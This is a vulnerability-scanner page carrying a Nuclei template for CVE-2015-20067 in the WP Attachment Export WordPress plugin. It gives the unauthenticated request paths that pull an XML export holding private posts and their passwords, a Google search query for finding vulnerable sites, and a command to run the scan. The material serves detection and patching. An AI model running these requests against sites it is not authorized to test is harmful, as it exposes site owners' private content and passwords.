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WP Attachment Export < 0.2.4 - Unrestricted File Download

ID: CVE-2015-20067

Severity: high

Author: r3Y3r53

Tags: wpscan,packetstorm,seclists,cve,cve2015,wordpress,wp,wp-plugin,unauth,wp-attachment-export,wp_attachment_export_project

Description

Section titled “Description”

The plugin does not have proper access controls, allowing unauthenticated users to download the XML data that holds all the details of attachments/posts on a Wordpresspowered site. This includes details of even privately published posts and password protected posts with their passwords revealed in plain text.

YAML Source

Section titled “YAML Source”
id: CVE-2015-20067


info:
  name: WP Attachment Export < 0.2.4 - Unrestricted File Download
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not have proper access controls, allowing unauthenticated users to download the XML data that holds all the details of attachments/posts on a Wordpress
    powered site. This includes details of even privately published posts and password protected posts with their passwords revealed in plain text.
  remediation: Fixed in 0.2.4
  reference:
    - https://wpscan.com/vulnerability/d1a9ed65-baf3-4c85-b077-1f37d8c7793a
    - https://packetstormsecurity.com/files/132693/
    - https://seclists.org/fulldisclosure/2015/Jul/73
    - https://nvd.nist.gov/vuln/detail/CVE-2015-20067
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-20067
    cwe-id: CWE-862
    epss-score: 0.07226
    epss-percentile: 0.93884
    cpe: cpe:2.3:a:wp_attachment_export_project:wp_attachment_export:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp_attachment_export_project
    product: wp_attachment_export
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-attachment-export/"
  tags: wpscan,packetstorm,seclists,cve,cve2015,wordpress,wp,wp-plugin,unauth,wp-attachment-export,wp_attachment_export_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/tools.php?content=attachment&wp-attachment-export-download=true"
      - "{{BaseURL}}/wp-admin/tools.php?content=&wp-attachment-export-download=true"


    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/xml")'
          - 'contains_all(body, "title","wp:author_id","wp:author_email")'
        condition: and
# digest: 4b0a00483046022100801bd220dbcfffe329ac8176ff2fc90e7d55310a78148567716a957ba2d16607022100cf0ebc6286d1bdf42ce78b44cb101f5480efe327cc04e67e2c7511daa085910c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-20067.yaml"

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